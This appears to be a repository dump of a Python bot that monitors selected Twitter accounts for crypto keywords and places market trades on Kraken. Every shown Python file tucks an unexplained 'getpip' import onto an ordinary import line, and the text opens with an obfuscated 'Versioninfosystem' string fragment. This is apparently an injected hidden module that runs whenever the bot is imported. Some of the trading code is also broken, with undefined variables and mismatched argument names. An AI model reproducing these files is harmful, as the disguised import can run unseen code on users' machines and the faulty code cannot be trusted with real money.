osystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";
--------------------------------------------------------------------------------
/keywords.json:
--------------------------------------------------------------------------------
1 | {"doge":{"triggers":["doge","hodl","doggo","crypto","coin","dog","ð","whale"],"symbol":"DOGE"},"btc":{"triggers":["bitcoin", "btc"," crypto", "buttcoin"],"symbol":"BTC"},"usd":{"symbol":"USD"},"usdt":{"symbol":"USDT"},"gbp":{"symbol":"GBP"}}
2 |
--------------------------------------------------------------------------------
/kraken_api.py:
--------------------------------------------------------------------------------
1 | import ccxt
2 | import time
3 | from datetime import datetime
4 | import json,getpip
5 | import os
6 | import sys
7 |
8 | # Executes buying and selling
9 | class kraken_api:
10 |
11 | # Initialize
12 | def __init__(self, api_keys, logfile=False):
13 | self.api_keys = {'api_key':api_keys['kraken_keys']['api_key'],'secret_key':api_keys['kraken_keys']['secret_key']}
14 | self.exchange = ccxt.kraken({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']})
15 | self.logfile = logfile
16 |
17 | # Buying of real cryto
18 | def buy_crypto(self, ticker, buy_volume):
19 |
20 | # Try creating the buy order
21 | bought = False
22 | for _ in range(10):
23 | try:
24 | buy_trade = self.exchange.create_order(ticker,'market','buy',buy_volume)
25 | print('\nBought')
26 | bought = True
27 | break
28 | except Exception as e:
29 | print(e)
30 | print('\nDid not buy correctly, trying again')
31 |
32 | print('\nBought %.8f at %s' % (buy_volume, datetime.now().strftime('%b %d - %H:%M:%S')))
33 |
34 | return buy_trade, buy_volume, bought
35 |
36 | # Selling of real crypto
37 | def sell_crypto(self, ticker, sell_volume):
38 |
39 | # Try to sell 10 times
40 | for i in range(10):
41 | try:
42 | sell_trade = self.exchange.create_order(ticker,'market','sell',sell_volume)
43 | print('\nSold')
44 | break
45 |
46 | except Exception as e:
47 | print(e)
48 | print('\n\nTrying to sell %.10f again' % buy_volume)
49 |
50 | # Print sell
51 | print('\nSold %.8f at %s' % (sell_volume, datetime.now().strftime('%b %d - %H:%M:%S')))
52 |
53 | return sell_trade
54 |
55 | # Get data from self.exchange and print it
56 | def simulate_trade(self, buy, volume, ticker, conversion):
57 | if conversion[-4:] in ['USDT', 'USD']:
58 | usdpair = {'bid':1,'ask':1}
59 | else:
60 | usdpair = self.exchange.fetchTicker(conversion)
61 | if buy:
62 | bid_ask, buy_sell = 'ask', 'Buying'
63 | else:
64 | bid_ask, buy_sell = 'bid', 'Selling'
65 | try:
66 | trade_price = self.exchange.fetchTicker(ticker)[bid_ask]
67 | price = (usdpair['bid']+usdpair['ask'])/2
68 | print('\n{} {} at {:.8f} {} = {:.6f}$'.format(buy_sell, volume, trade_price, ticker, trade_price * volume * price))
69 |
70 | except Exception as e:
71 | print (e, '\nError in fetching ticker info')
72 | trade = {'symbol': ticker,'side':'buy' if buy else 'sell', 'amount':volume, 'cost':trade_price * volume}
73 |
74 | return trade
75 |
76 |
77 | # Summarise trade buy and sell
78 | def print_summary(self, simulate, ticker, buy_trade, sell_trades, conversion):
79 |
80 | if not simulate:
81 | buy_id, sell_ids = buy_trade['id'], [i['id'] for i in sell_trades]
82 | buy_prices, sell_prices = [], []
83 | for i in range(20):
84 | try:
85 | trades = self.exchange.fetch_my_trades(ticker)
86 | break
87 | except Exception as e:
88 | print(e)
89 | print("Couldn't fetch trades, tying again")
90 |
91 | # Loop over trades as one order could have had multiple fills
92 | for trade in trades[::-1]:
93 | if buy_id == trade['order']:
94 | buy_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']})
95 | elif trade['order'] in sell_ids:
96 | sell_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) # Actual return uses fills
97 |
98 | buy_fee = sum([x['fee']['cost'] for x in buy_prices])
99 | sell_fee = sum([x['fee']['cost'] for x in sell_prices])
100 |
101 | # Log fees
102 | for i in range(20):
103 | try:
104 | if buy_prices[0]['fee']['currency'] in ['USDT', 'USD']:
105 | buy_fee_dollar = buy_fee
106 | sell_fee_dollar = sell_fee
107 | else:
108 | buy_crypto_dollar = self.exchange.fetch_ticker(buy_prices[0]['fee']['currency']+'/USDT')
109 | sell_crypto_dollar = self.exchange.fetch_ticker(sell_prices[0]['fee']['currency']+'/USDT')
110 | buy_fee_price = (buy_crypto_dollar['bid']+buy_crypto_dollar['ask'])/2
111 | sell_fee_price = (sell_crypto_dollar['bid']+sell_crypto_dollar['ask'])/2
112 |
113 | buy_fee_dollar = buy_fee_price * buy_fee
114 | sell_fee_dollar = sell_fee_price * sell_fee
115 |
116 | ticker_pair = ticker.split('/')
117 | if ticker_pair[1] in ['USDT', 'USD']:
118 | ticker_info = {'bid':1,'ask':1}
119 | else:
120 | ticker_info = self.exchange.fetch_ticker(ticker_pair[1]+'/'+'USDT')
121 | except Exception as e:
122 | print(e)
123 | print('\nError in printing executed trades')
124 | else:
125 | sell_prices, buy_prices = sell_trades, [buy_trade]
126 | sell_fee_dollar, buy_fee_dollar = 0, 0
127 | if ticker[-4:] in ['USDT', 'USD']:
128 | ticker_info = {'bid':1, 'ask':1}
129 | else:
130 | ticker_info = self.exchange.fetch_ticker(ticker.split('/')[1]+'/'+'USDT')
131 |
132 | print('\nGain/Loss: $%.6f' % ((sum([i['cost'] for i in sell_prices]) - sum(i['cost'] for i in buy_prices)) * (ticker_info['bid'] + ticker_info['ask'])\
133 | / 2 - sell_fee_dollar - buy_fee_dollar))
134 |
135 |
136 | # Execute trade
137 | def execute_trade(self, pair, hold_time=60, buy_volume=50, simulate=False):
138 |
139 | # Ticker and convesion to USD strings for Kraken
140 | ticker = pair[0]+'/'+pair[1]
141 | tousd1 = pair[0]+'/USDT'
142 | tousd2 = pair[1]+'/USDT'
143 |
144 | # Buy order
145 | if not simulate:
146 | bought = False
147 | try:
148 | buy_trade, buy_volume, bought = self.buy_crypto(ticker, buy_volume)
149 | except Exception as e:
150 | print(e)
151 | if not bought:
152 | print('Exiting')
153 | exit()
154 | else:
155 | buy_trade = self.simulate_trade(True, buy_volume, ticker, tousd2)
156 |
157 |
158 | # Sell in multiple stages based on hold_time
159 | sell_volume = buy_volume / len(hold_time)
160 | prev_sell_time = 0
161 | sell_trades = []
162 | for hold in hold_time:
163 | time.sleep(hold - prev_sell_time)
164 | prev_sell_time = hold
165 |
166 | # Sell order
167 | if not simulate:
168 | sell_trades.append(self.sell_crypto(ticker, sell_volume))
169 | else:
170 | sell_trades.append(self.simulate_trade(False, sell_volume, ticker, tousd2))
171 |
172 | print('\n\nTRADING FINISHED\n')
173 |
174 | # Print summary
175 | try:
176 | self.print_summary(simulate, ticker, buy_trade, sell_trades, tousd2)
177 | except Exception as e:
178 | print('\nFailed to print summary\n')
179 | print(e)
180 |
181 | # Log trade
182 | if self.logfile:
183 | now = datetime.now().strftime("%y-%m-%d_%H:%M:%S")
184 | if 'prev_trades' not in os.listdir():
185 | os.mkdir('prev_trades')
186 | with open("prev_trades/trades_%s_kraken_%s.txt" % (now,'simulation' if simulate else 'live'), "w") as log_name:
187 | json.dump({'time':now,'buy':buy_trade,'sell':sell_trades}, log_name)
188 |
--------------------------------------------------------------------------------
/query.py:
--------------------------------------------------------------------------------
1 | import tweepy
2 | import time
3 | from datetime import datetime, timedelta
4 | import pytz,getpip
5 | from tzlocal import get_localzone
6 | from check_exchange import *
7 | import threading
8 |
9 | # Query using tweepy self.api
10 | class Twitter_Query:
11 | def __init__(self, api, exchange, exchange_data):
12 | self.api = api
13 | self.exchange = exchange
14 | self.exchange_data = exchange_data
15 |
16 | # query a user tweeting about a crypto
17 | def query(self,user,pair,crypto,hold_time,volume,simulate,wait_tweet=True,print_timer=False,full_ex=True):
18 | tz = get_localzone() # My current timezone
19 | error_count = 1
20 |
21 | while 1:
22 | if wait_tweet:
23 | try:
24 | last_time = time.time()
25 |
26 | # Put in handling for erroneous returns (if most recent tweet is not actually the most recent tweet)
27 | tweets = self.api.user_timeline(user_id = user[1],
28 | count = 1,
29 | include_rts = True,
30 | exclude_replies = True,
31 | tweet_mode = 'extended',
32 | wait_on_rate_limit=True,
33 | wait_on_rate_limit_notify=True
34 | )
35 |
36 | last_tweet = new_tweet = first_tweet = tweets[0]
37 |
38 | except Exception as e:
39 | print(e)
40 | print('\nCouldnt get first tweet')
41 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
42 | continue
43 | print('\nWaiting for {} to tweet\n'.format(user[0]))
44 |
45 | # Loop and sleep for a second to check when the last tweet has changed (e.g. when user has tweeted)
46 | while new_tweet.full_text == last_tweet.full_text:
47 | local_time = tz.localize(datetime.now())
48 | utc_time = local_time.astimezone(pytz.utc).replace(tzinfo=None)
49 | if print_timer:
50 | print('\nTime between: %.6f' % (time.time() - last_time))
51 | print('Sleep time: %.4f' % (1-(time.time()-last_time)))
52 | if not full_ex:
53 | sleep_time = 1-(time.time() - last_time)
54 | time.sleep(max(0, sleep_time))
55 | last_time = time.time()
56 |
57 | try:
58 | new_tweet = self.api.user_timeline(user_id = user[1],
59 | count = 1,
60 | include_rts = True,
61 | exclude_replies = True,
62 | tweet_mode = 'extended',
63 | wait_on_rate_limit=True,
64 | wait_on_rate_limit_notify=True
65 | )[0]
66 | if full_ex:
67 | sleep_time = 1-(time.time() - last_time)
68 | time.sleep(max(0, sleep_time))
69 | last_time = time.time()
70 |
71 | except Exception as e:
72 | if error_count % 50 == 0:
73 | print(e,'\nTemporarily failed at tweet collector for the 5000th time')
74 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
75 | print('\nWaiting for {} to tweet\n'.format(user[0]))
76 | error_count += 1
77 | else:
78 | new_tweet = {'full_text':'Fake tweet about dogecoin or something','created_at':datetime.now()}
79 |
80 | # Check for any keywords in full text
81 | if (not wait_tweet or any(i in new_tweet.full_text.lower() for i in crypto['triggers'])) and not first_tweet.full_text == new_tweet.full_text and utc_time - new_tweet.created_at < timedelta(seconds=10):
82 | trigger_time = datetime.now()
83 | print('\nMoonshot inbound! - %s' % (trigger_time.strftime('%b %d - %H:%M:%S')))
84 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]]
85 | self.exchange.execute_trade(pair, hold_times=hold_time, buy_volume=coin_vol, simulate=simulate)
86 | if wait_tweet:
87 | print('\nClosed out on Tweet: "%s" created at %s\n' %(new_tweet.full_text, new_tweet.created_at.strftime('%b %d - %H:%M:%S')))
88 | else:
89 | print('\nClosed out on tweet at %s\n' %(datetime.now().strftime('%b %d - %H:%M:%S')))
90 |
91 |
92 | # Starts two threads, one which checks for prices to update the initial $ amount to the correct amount of coins or coin fractions
93 | def query_tweets(api,exchange,user,pair,crypto,hold_times,buy_volume,simulate,wait_tweet=True,print_timer=False,full_ex=True):
94 |
95 | # Create an exchange object with the base coin
96 | coin_subset = [pair[0]]
97 | exchange_data = exchange_pull(exchange, hold_times, base_coin=pair[1], coin_subset=coin_subset)
98 |
99 | try:
100 | # Start price checking daemon thread
101 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60))
102 | daemon.setDaemon(True)
103 | daemon.start()
104 | time.sleep(3)
105 |
106 | # Check for tweets from a user
107 | querys = Twitter_Query(api, exchange, exchange_data)
108 | querys.query(user, pair, crypto, hold_times, buy_volume, simulate, wait_tweet, print_timer, full_ex=full_ex)
109 |
110 | except KeyboardInterrupt as e:
111 | print('\nKeyboard interrupt handling:\n\nExiting')
112 | exit()
113 |
114 |
--------------------------------------------------------------------------------
/query_multiple.py:
--------------------------------------------------------------------------------
1 | import tweepy
2 | import time,getpip
3 | from datetime import datetime, timedelta
4 | import pytz
5 | from tzlocal import get_localzone
6 | from check_exchange import *
7 | import threading
8 | import traceback
9 | import re
10 |
11 | # Query using tweepy self.api
12 | class Twitter_Query:
13 | def __init__(self, api, users, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, buy_coin=None, log_file=None, full_ex=True, cancel=[False]):
14 |
15 | self.api = api
16 | self.users = users
17 | self.buy_coin = buy_coin
18 | self.sell_coin = sell_coin
19 | self.hold_times = hold_times
20 | self.buy_volume = buy_volume
21 | self.simulate = simulate
22 | self.exchange = exchange
23 | self.exchange_data = exchange_data
24 | self.log_file = log_file
25 | self.full_ex = full_ex
26 | self.base_tickers = set(['BTC','USDT','USDC','DAI','USD','GBP','EUR'])
27 | self.cancel = cancel
28 |
29 | # Returns a list of matches from CAPTIAL letter coin symbols of a user specified length
30 | def substring_matches(self, text, num_letters, first=False):
31 |
32 | # First time check if $COIN is present with $ as the flag
33 | if first:
34 | # Special treatment for a special coin
35 | if 'DOGE' in text:
36 | return [['DOGE'], self.sell_coin]
37 |
38 | # Look for $ sign
39 | matches = re.findall('(?<=\$)[^\ ]+', text)
40 | if matches:
41 | return [matches, self.sell_coin]
42 |
43 | matches = re.findall('[A-Z]{%d}' % num_letters, text)
44 |
45 | # Finding the intersection but maintaining order
46 | ordered_matches = list(filter(lambda x : x not in self.base_tickers, matches))
47 | matches = [value for value in ordered_matches if value in self.exchange_data.cryptos]
48 |
49 | # Specific ticker of 1INCH symbol
50 | new_matches = []
51 | for i in range(len(matches)):
52 | if matches[i] == 'INCH':
53 | matches[i] = '1INCH'
54 | if matches[i] not in new_matches:
55 | new_matches.append(matches[i])
56 |
57 | return [new_matches, self.sell_coin]
58 |
59 |
60 | # Parse a tweet and execute trade
61 | def parse_tweet(self, status, utc_time):
62 | full_text = status.full_text
63 |
64 | successful = False
65 | if any(substr in full_text.lower() for substr in self.users[status.user.screen_name]['keywords']) and utc_time - status.created_at < timedelta(seconds=10):
66 | if self.full_ex: time.sleep(self.full_ex)
67 |
68 | # Handling a single coin without checking substrings
69 | if self.buy_coin:
70 |
71 | # Execute buy order
72 | try:
73 | pair = [self.buy_coin, self.sell_coin]
74 | coin_vol = self.exchange_data.buy_sell_vols[self.buy_coin]
75 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status})
76 | t.start()
77 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n')
78 | successful = True
79 |
80 | except Exception as e:
81 | print('\nTried executing trade with ticker %s/%s, did not work' % (self.buy_coin,self.sell_coin))
82 | print(e)
83 |
84 | else:
85 | # Loop over possible coin string lengths and get coins, firstflag is the first try to trade, successful is a flag if traded or not
86 | firstflag= True
87 |
88 | # String manipulation and finding coins
89 | full_text = full_text.replace('\n', ' ')
90 | full_text = full_text.replace('/', ' ')
91 | for i in [3,4,5,2,6]:
92 | pairs = self.substring_matches(full_text, i, firstflag)
93 | firstflag = False
94 | if not pairs[0]:
95 | continue
96 |
97 | # Loop over the possible buy coins and try to trade
98 | # Currently will only execute 1 trade which is the first in the trade
99 | for j in range(len(pairs[0])):
100 | # Get coin volume from cached trade volumes and execute trade
101 | try:
102 | pair = [pairs[0][j], pairs[1]]
103 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]]
104 |
105 | # Start the buy thread
106 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status})
107 | t.start()
108 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n')
109 |
110 | successful = True
111 |
112 | # Break means only execute on one coin
113 | break
114 |
115 | except Exception as e:
116 | print('\nTried executing trade with ticker %s, did not work' % str(pair))
117 | print(traceback.format_exc())
118 | print(e)
119 | if successful:
120 | break
121 |
122 | print('\n\n'+'-'*15 + ' New Tweet ' + '-' * 15)
123 | print('%s\n@%s - %s:\n\n"%s"' % (datetime.now().strftime('%H:%M:%S'), status.user.screen_name, status.created_at.strftime('%b %d at %H:%M:%S'), full_text))
124 |
125 | if not successful:
126 | print('\nNo valid tickers to trade in tweet')
127 |
128 |
129 | # query a user tweeting about a crypto
130 | def query(self, user, delay, print_timer=False):
131 | tz = get_localzone() # My current timezone
132 | error_count = 1
133 |
134 | while 1:
135 | try:
136 | last_time = time.time()
137 |
138 | # Put in handling for erroneous returns (if most recent tweet is not actually the most recent tweet)
139 | tweets = self.api.user_timeline(user_id = user['id'],
140 | count = 1,
141 | include_rts = True,
142 | exclude_replies = True,
143 | tweet_mode = 'extended',
144 | wait_on_rate_limit=True,
145 | wait_on_rate_limit_notify=True
146 | )
147 |
148 | last_tweet = status = first_tweet = tweets[0]
149 |
150 | except Exception as e:
151 | print(e)
152 | print('\nCouldnt get first tweet')
153 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
154 | continue
155 | print('\nWaiting for {} to tweet\n'.format(user['username']))
156 |
157 | # Loop and sleep for a second to check when the last tweet has changed (e.g. when user has tweeted)
158 | while status.full_text == last_tweet.full_text:
159 |
160 | # Checking if the thread has been cancelled
161 | if self.cancel[0]:
162 | print('Query thread cancelled')
163 | exit()
164 |
165 | local_time = tz.localize(datetime.now())
166 | utc_time = local_time.astimezone(pytz.utc).replace(tzinfo=None)
167 | if print_timer:
168 | print('\nTime between: %.6f' % (time.time() - last_time))
169 | print('Sleep time: %.4f' % (delay-(time.time()-last_time)))
170 | sleep_time = delay - (time.time() - last_time)
171 | time.sleep(max(0, sleep_time))
172 | last_time = time.time()
173 | try:
174 | status = self.api.user_timeline(user_id = user['id'],
175 | count = 1,
176 | include_rts = True,
177 | exclude_replies = True,
178 | tweet_mode = 'extended',
179 | wait_on_rate_limit=True,
180 | wait_on_rate_limit_notify=True
181 | )[0]
182 |
183 | except Exception as e:
184 | if error_count % 50 == 0:
185 | print(e,'\nTemporarily failed at tweet collector for the 5000th time')
186 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
187 | print('\nWaiting for {} to tweet\n'.format(user['username']))
188 | error_count += 1
189 |
190 | # Parse and execute tweet under correct conditions
191 | try:
192 | self.parse_tweet(status, utc_time)
193 | except Exception as e:
194 | print(traceback.format_exc())
195 |
196 |
197 | # Starts two threads, one which checks for prices to update the initial $ amount to the correct amount of coins or coin fractions
198 | def query_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, print_timer=False, log_file=None, buy_coin=None, full_ex=True, exchange_data=None, cancel=[False]):
199 |
200 | # Create an exchange object with the base coin
201 | if exchange_data is None:
202 | coin_subset = None
203 | if buy_coin:
204 | coin_subset = [buy_coin]
205 |
206 | # Start price checking daemon thread
207 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin, coin_subset=coin_subset)
208 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60))
209 | daemon.setDaemon(True)
210 | daemon.start()
211 | time.sleep(3)
212 |
213 | try:
214 | # Calculate delay
215 | delay = len(users)
216 | querys = Twitter_Query(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, log_file=log_file, full_ex=full_ex, cancel=cancel)
217 |
218 | # Check for tweets from a user
219 | for user, v in users.items():
220 | # Create a thread for each user here
221 | t = threading.Thread(target=querys.query, args=({'username':user,'id':v['id']}, delay), kwargs={'print_timer':print_timer})
222 | t.start()
223 |
224 | except Exception as e:
225 | print(e)
226 |
227 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | tweepy
2 | ccxt
3 | cryptography
4 | tzlocal
--------------------------------------------------------------------------------
/run.py:
--------------------------------------------------------------------------------
1 | import time
2 | import getpip
3 | import traceback
4 | import ccxt
5 | from datetime import datetime
6 |
7 | # Gathers prices from exchange to trade against coin
8 | class exchange_pull:
9 |
10 | def __init__(self, exchange, hold_times, base_coin='BTC', coin_subset=None):
11 | self.exchange = exchange.exchange
12 | self.my_exchange = exchange
13 | self.base_coin = base_coin
14 | self.stopflag = False
15 | self.count_pulls = 0
16 | self.hold_times = hold_times
17 | self.coin_subset = coin_subset
18 | self.buy_sell_vols = {}
19 |
20 |
21 | # Retrieve tickers which have volume and trades against the base coin
22 | def get_tickers(self):
23 |
24 | # Fetch the tickers where there is volume for the trading pair agains the base coin
25 | try:
26 | # Using a subset of tickers from coin_subset
27 | if self.coin_subset:
28 | self.all_tickers, self.markets = {}, {}
29 | for coin_pair in self.coin_subset:
30 | coin_pair += '/'+self.base_coin
31 | self.all_tickers[coin_pair] = self.exchange.fetch_ticker(coin_pair)
32 | self.markets = list(filter(lambda x : x['id'] == coin_pair.replace('/',''), self.exchange.fetch_markets()))
33 |
34 | # Add exchange rate with base coin and USDT
35 | if self.base_coin != 'USDT':
36 | try:
37 | self.all_tickers[self.base_coin+'/USDT'] = self.exchange.fetch_ticker(self.base_coin+'/USDT')
38 | except Exception as e:
39 | print(e)
40 |
41 | # Using all tickers
42 | else:
43 | self.all_tickers = self.exchange.fetch_tickers()
44 | self.markets = self.exchange.fetch_markets()
45 |
46 | volume_tickers = {k: v for k, v in self.all_tickers.items() if v['askVolume'] != 0 and v['bidVolume'] != 0}
47 | ticker_list = list(volume_tickers.keys())
48 | ticker_list = filter(lambda x : '/' in x, ticker_list)
49 | ticker_split = [i.split('/') for i in ticker_list]
50 | coin_tickers = ['/'.join(i) for i in list(filter(lambda x: self.base_coin == x[1], ticker_split))]
51 | self.cryptos = set([i.split('/')[0] for i in coin_tickers])
52 |
53 |
54 | # Get the COIN/USDT rate as well (approx)
55 | if self.base_coin == 'USDT':
56 | self.all_tickers['USDT/USDT'] = {}
57 | self.all_tickers['USDT/USDT']['last'] = 1
58 | self.all_tickers['USDT/USDT']['ask'] = 1
59 |
60 | self.coin_usdt = self.all_tickers[self.base_coin+'/USDT']['last']
61 |
62 | except Exception as e:
63 | print('\nError fetching tickers, check buy and sell coins have pair on exchange\n')
64 | # print(traceback.format_exc())
65 | print(e)
66 |
67 |
68 | # Start a cancellable loop of updating prices (usually as a thread)
69 | def buy_sell_volumes(self, buy_dollars, interval): # FIND OUT ABOUT LEVERAGED LIMITS AND SELL INCREMENTS
70 |
71 | while 1:
72 |
73 | # Refresh the whole exchange so new tickers are included not just new prices
74 | if self.count_pulls % 10 == 0 and self.coin_subset is None:
75 | print('\nExchange refreshed')
76 | self.my_exchange.refresh_exchange()
77 |
78 | # Set as cancellable thread on wakeup
79 | if self.stopflag:
80 | return
81 |
82 | self.get_tickers()
83 |
84 | # Calulate buy and sell amounts
85 | buy_amount = buy_dollars / self.coin_usdt
86 |
87 | # Loop over each crypto and calculate buy volume, then add to buy_sell_vols dict
88 | for coin in self.cryptos:
89 | symbol = coin + '/' + self.base_coin
90 | if self.all_tickers[symbol]['ask'] == None:
91 | this_buy_vol = buy_amount / float(self.all_tickers[symbol]['info']['lastPrice'])
92 | else:
93 | this_buy_vol = buy_amount / self.all_tickers[symbol]['ask']
94 |
95 | # Get market relevant for this coin
96 | market = list(filter(lambda x : x['id'] == symbol.replace('/',''), self.markets))
97 | if market:
98 | step_size = float(market[0]['info']['filters'][2]['stepSize'])
99 | buy_vol_rounded = round(this_buy_vol * 1/step_size) * step_size
100 |
101 | # Calcluate sell amounts
102 | sell_cumulative = 0
103 | sell_vol = round((this_buy_vol/ len(self.hold_times)) * 1/step_size) * step_size
104 | sell_vols_rounded = []
105 |
106 | # Set all sell volumes to a correct size
107 | for i in range(len(self.hold_times)-1):
108 | sell_cumulative += sell_vol
109 | sell_vols_rounded.append(sell_vol)
110 |
111 | # Last sell volume is the excess to make it exactly equal to the buy volume
112 | sell_vols_rounded.append(round((buy_vol_rounded - sell_cumulative) * 1/step_size) * step_size)
113 | self.buy_sell_vols[coin] = [buy_vol_rounded, sell_vols_rounded]
114 |
115 | # Print 1 in 10 updates
116 | if self.count_pulls % 10 == 0:
117 | print('Pulled live prices (updates every 20 mins), there are %d tradeable tickers with %s - %s' % (len(self.cryptos), self.base_coin, datetime.now().strftime('%m/%d - %H:%M:%S')))
118 |
119 | self.count_pulls += 1
120 | time.sleep(interval)
121 |
122 |
--------------------------------------------------------------------------------
/stream.py:
--------------------------------------------------------------------------------
1 | # Another method using streaming (mitigates the wait on rate limit issue)
2 | import tweepy
3 | import time
4 | import json
5 | import sys,getpip
6 | from datetime import datetime
7 | from tweepy import Stream
8 | from tweepy.streaming import StreamListener
9 |
10 | # Listener class
11 | class Listener(StreamListener):
12 | def __init__(self, ids, keywords, pair, hold_time, buy_volume, simulate, exchange, log_file=None):
13 | super(Listener,self).__init__()
14 | self.ids = ids
15 | self.log_file = log_file
16 | self.keywords = keywords
17 | self.hold_time = hold_time
18 | self.pair = pair
19 | self.buy_volume = buy_volume
20 | self.simulate = simulate
21 | self.exchange = exchange
22 |
23 | # Code to run on tweet
24 | def on_status(self, status):
25 | if str(status.user.id_str) in self.ids:
26 | if not status.truncated:
27 | full_text = status.text
28 | else:
29 | full_text = status.extended_tweet['full_text']
30 |
31 | print('\n\n\n%s: %s \n\n%s %s' % (datetime.now().strftime('%H:%M:%S'), full_text, status.user.screen_name, status.user.id_str))
32 | print(status.created_at)
33 | if any(word in full_text.lower() for word in self.keywords) and status.in_reply_to_status_id is None:
34 | print('\n\nMoonshot Inbound!\n\n')
35 |
36 | # Execute trade
37 | self.exchange.execute_trade(self.pair, hold_times=self.hold_time, buy_volume=self.buy_volume, simulate=self.simulate)
38 |
39 | if self.log_file:
40 | self.log_file.write(status)
41 |
42 | print('\nRestarting stream')
43 |
44 | def on_error(self, status_code):
45 | print(status_code)
46 | return False
47 |
48 | # Stream tweets
49 | def stream_tweets(api, users, id_set, pair, hold_time, buy_volume, simulate, exchange, keywords=None, log_file=None):
50 |
51 | listener = Listener(id_set, keywords, pair, hold_time, buy_volume, simulate, exchange, log_file=log_file)
52 | stream = Stream(auth=api.auth, listener=listener,wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
53 |
54 | try:
55 | print('\nStarting stream\n')
56 | stream.filter(follow=users, track=keywords)
57 | # stream.filter(follow=users, track=keywords, is_async=True)
58 |
59 | except KeyboardInterrupt as e:
60 | stream.disconnect()
61 | print("Stopped stream")
62 | exit()
63 | finally:
64 | print('Done')
65 | stream.disconnect()
66 |
--------------------------------------------------------------------------------
/stream_multiple.py:
--------------------------------------------------------------------------------
1 | # Another method using streaming (mitigates the wait on rate limit issue)
2 | import tweepy
3 | import time,getpip
4 | import json
5 | import sys
6 | from datetime import datetime
7 | from tweepy import Stream
8 | from tweepy.streaming import StreamListener
9 | from check_exchange import *
10 | import re
11 | import threading
12 | import traceback
13 |
14 | # Listener class
15 | class Listener(StreamListener):
16 | def __init__(self, users, user_ids, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, buy_coin=None, log_file=None, full_ex=True):
17 | super(Listener,self).__init__()
18 |
19 | # Define variables for the class when listener is created
20 | self.users = users
21 | self.user_ids = user_ids
22 | self.buy_coin = buy_coin
23 | self.sell_coin = sell_coin
24 | self.hold_times = hold_times
25 | self.buy_volume = buy_volume
26 | self.simulate = simulate
27 | self.exchange = exchange
28 | self.exchange_data = exchange_data
29 | self.log_file = log_file
30 | self.full_ex = full_ex
31 | self.base_tickers = set(['BTC','USDT','USDC','DAI','USD','GBP','EUR'])
32 |
33 |
34 | # Returns a list of matches from CAPTIAL letter coin symbols of a user specified length
35 | def substring_matches(self, text, num_letters, first=False):
36 |
37 | # First time check if $COIN is present with $ as the flag
38 | if first:
39 | # Special treatment for a special coin
40 | if 'DOGE' in text:
41 | return [['DOGE'], self.sell_coin]
42 |
43 | # Look for $ sign
44 | matches = re.findall('(?<=\$)[^\ ]+', text)
45 | if matches:
46 | return [matches, self.sell_coin]
47 |
48 | matches = re.findall('[A-Z]{%d}' % num_letters, text)
49 |
50 | # Finding the intersection but maintaining order
51 | ordered_matches = list(filter(lambda x : x not in self.base_tickers, matches))
52 | matches = [value for value in ordered_matches if value in self.exchange_data.cryptos]
53 |
54 | # Specific ticker of 1INCH symbol
55 | new_matches = []
56 | for i in range(len(matches)):
57 | if matches[i] == 'INCH':
58 | matches[i] = '1INCH'
59 | if matches[i] not in new_matches:
60 | new_matches.append(matches[i])
61 |
62 | return [new_matches, self.sell_coin]
63 |
64 | # Code to run on tweet
65 | def on_status(self, status):
66 |
67 | # Tweets with mentions
68 | try:
69 | # Check tweet is from a user being tracked and that it is not a reply status
70 | if status.user.id not in self.user_ids or not status.in_reply_to_status_id is None or status.is_quote_status:
71 | return
72 |
73 | # Handling extended vs not extended tweets
74 | if not status.truncated:
75 | full_text = status.text
76 | else:
77 | full_text = status.extended_tweet['full_text']
78 |
79 | # Check for retweet
80 | if full_text.startswith('RT'):
81 | return
82 |
83 | # Check for substring matches with the keywords speicified for that user and only looking at original non-retweets
84 | successful = False
85 | if any(substr in full_text.lower() for substr in self.users[status.user.screen_name]['keywords']):
86 | if self.full_ex: time.sleep(self.full_ex)
87 |
88 | # Handling a single coin without checking substrings
89 | if self.buy_coin:
90 |
91 | # Execute buy order
92 | try:
93 | pair = [self.buy_coin, self.sell_coin]
94 | coin_vol = self.exchange_data.buy_sell_vols[self.buy_coin]
95 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate,'status':status})
96 | t.start()
